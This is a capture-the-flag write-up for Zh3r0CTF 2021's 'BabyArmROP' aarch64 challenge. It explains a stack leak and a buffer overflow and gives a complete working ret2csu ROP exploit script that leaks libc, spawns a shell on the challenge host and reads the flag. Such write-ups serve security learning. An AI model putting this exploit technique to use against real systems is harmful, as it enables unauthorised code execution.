Tags: ret2csu aarch64 

Rating:

BabyArmROP [738]

Can u take baby steps with your arms?

flag location : /vuln/flag

nc pwn.zh3r0.cf 1111

Files: BabyArmROP

[*] 'vuln'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO     (!)
    Stack:    No canary found   (!)
    NX:       NX enabled
    PIE:      PIE enabled

Author - codacker

Solving

Not a whole lot to say for this challenge.

void vuln() {
    char name_buffer[0x20];
    read(0, name_buffer, 0x1f);
    printf("Hello, %s\n; send me your message now: ", name_buffer);
    fflush(stdout);
    read(0, name_buffer, 0x200);
}

int main() {
    printf("Enter your name: ");
    fflush(stdout);
    vuln();
    return 0;
}

The first observation to make is that read(0, buf, ...); printf("... %s ...", buf); allows for data leaks from the stack, because read() doesn't nul-terminate strings. Debugging && menial labour eventually demonstrates that the only pointers leakable from (the first pass of) vuln() are PIE addresses.

The other obvious bug in the program is the long, 0x200 byte buffer overflow (with no stack canary). Unlike x86 BOFs, the buffer overflow here will only modify the return pointer of the stack frame below the current stack frame. Which is to say, the BOF in vuln() will only affect the return pointer for main(). This trait is slightly interesting, because it opens the possibility for a partial overwrite of __libc_start_main_ret to a one_gadget.

In this case, C.symbols['__libc_start_main'] == 0000000000020c40 but the best one_gadget is 0x64178 == execl("/bin/sh", x1), so a partial overwrite doesn't really work out. Instead, ROP will have to be used for this challenge.

I spent a while looking for interesting gadgets, but I mostly discovered nothing of value. In the end, I ended up making an aarch64 implementation of ret2csu, as I'm sure most other participants did.

from pwnscripts import *
context.binary = './vuln'
context.libc = 'lib/libc.so.6'
r = remote('pwn.zh3r0.cf', 1111)
E,C = context.binary, context.libc
E.symbols['csu1'] = 0x920
E.symbols['csu2'] = 0x900
E.symbols['main_ptr'] = 0x10Fd8

r.sendafter('Enter your name: ', 'a'*7+'\n') # add 8 characters to leak PIE. afaik libc cannot be leaked here; the first 8 bytes are a QEMU address && later bytes are also PIE
r.recvline() # 'Hello, aaaaaaa'
E.address = u32(r.recv(4))-0x8a8 # e.g. 17e618a8 vs 17e61000

def csu(w0=E.got['printf'], x1=0, x2=0, call=E.got['printf'], x30=0x12345678):
    R = ROP(E)
    R.raw(b'A'*0x28) # padding required for RIP control
    R.csu1()
    R.raw(fit(
        0x29, # x29
        E.symbols['csu2'], # x30
        0,    # x19 -> x19+1
        1,    # x20
        call, # x21
        w0,   # x22 -> w0
        x1,   # x23 -> x1
        x2,   # x24 -> x2
    ))
    R.raw(fit(
        0x29, # x29
        x30,  # x30
        0x19, # x19 -> x19+1
        0x20, # x20
        0x21, # x21
        0x22, # x22 -> w0
        0x23, # x23 -> x1
        0x24, # x24 -> x2
    ))
    return R.chain()

r.sendafter('now: ', csu(x30=E.symbols['main']))
C.symbols['printf'] = u32(r.recv(4))
r.sendafter('Enter your name: ', b'hi')
r.sendafter('now: ', csu(x1=0, x30=C.select_gadget(2)))

r.sendline('cat /vuln/flag')
print(r.recvuntil(b'}'))

This was a really boring method, but it got the job done.

Flag

zh3r0{b4by_aaarch64_r0p_f04_fun_4nd_pr0fit}

Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/Zh3r0CTF%202021/BabyARMROP.md).